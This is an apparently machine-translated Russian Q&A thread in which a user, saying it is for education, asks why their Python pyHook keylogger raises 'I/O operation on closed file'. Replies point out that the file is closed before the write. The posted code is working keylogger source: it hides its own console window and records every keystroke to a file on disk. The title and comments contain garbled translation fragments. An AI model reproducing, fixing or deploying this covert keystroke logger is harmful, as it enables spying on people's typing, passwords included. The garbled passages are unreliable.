2014-12-20 3 views
0

Так что я пытаюсь сделать кейлоггер (только в образовательных целях) и здесь мой кодкод ошибки Python при создании кейлоггер (образовательные только цели)

#!/usr/bin/env python 
import pyHook 
import pythoncom 
import win32gui 
import win32console 
import time 
import smtplib, os 


log_file = "d:\control.txt"     #name of log file 
window = win32console.GetConsoleWindow() #go to script window 
win32gui.ShowWindow(window,0)    #hide window 

def pressed_chars(event):  #on key pressed function 
    if event.Ascii: 
     f = open(log_file,"a") # (open log_file in append mode) 
     char = chr(event.Ascii) # (insert real char in variable) 
     if char == "q":   # (if char is q) 
      f.close()   # (close and save log file) 
     if event.Ascii == 13: # (if char is "return") 
      f.write("\n")  # (new line) 
     f.write(char)   # (write char) 



proc = pyHook.HookManager()  #open pyHook 
proc.KeyDown = pressed_chars  #set pressed_chars function on KeyDown event 
proc.HookKeyboard()    #start the function 
pythoncom.PumpMessages()  

после запуска кода я получаю пару ошибок, как это

Traceback (most recent call last): 
    File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch 
    return func(event) 
    File "C:\Python278\logger.pyw", line 22, in pressed_chars 
    f.write(char)   # (write char) 
ValueError: I/O operation on closed file 

Я сделал так, чтобы всякий раз, когда я нажимал символ «Q», программа заканчивала запись нажатий клавиш. Но если я введу следующий код: «exit()» между строками 19-20, программа работает нормально, но выходит, прежде чем сможет что-либо сделать. Я пытался решить это самостоятельно, но я не могу заставить его работать так, как я этого хочу. Есть идеи? Кстати, с помощью Python 2.7.8.

+0

', если символ == "д": f.close() [СНиП] f.write (символ)'. Вы видите проблему? –

+0

Я думаю, он не может записать символ, если файлы журнала закрыты, верно? –

+0

Бинго. Либо напишите символ перед тем, как закрыть файл, либо не напишите его вообще. –

ответ

0

Если символ «q», вы закрываете файл. 'if char == "q": # (если char is q)'

Попробуйте сделать, если .. elif .. еще.

Кстати, я предпочитаю с открытым() (см больше по адресу: for line in open(filename))

+0

Только что увидел @Rawing сказал тот же голос. Поскольку я новичок в Stackoverflow, каков способ «правильно» ответить на вопрос? –

+0

Ответ на вопрос, конечно, лучший способ ответить на вопрос, чем комментарий. В отличие от комментария, ответ может быть принят, и вопрос, таким образом, будет отмечен как ответ. Вы выиграли этот раунд :) –

+0

Хорошо .. Я просто хочу следовать стандарту. Мне как-то понравился ваш способ «Задавать правильные вопросы», так что я сомневался. :) –

Смежные вопросы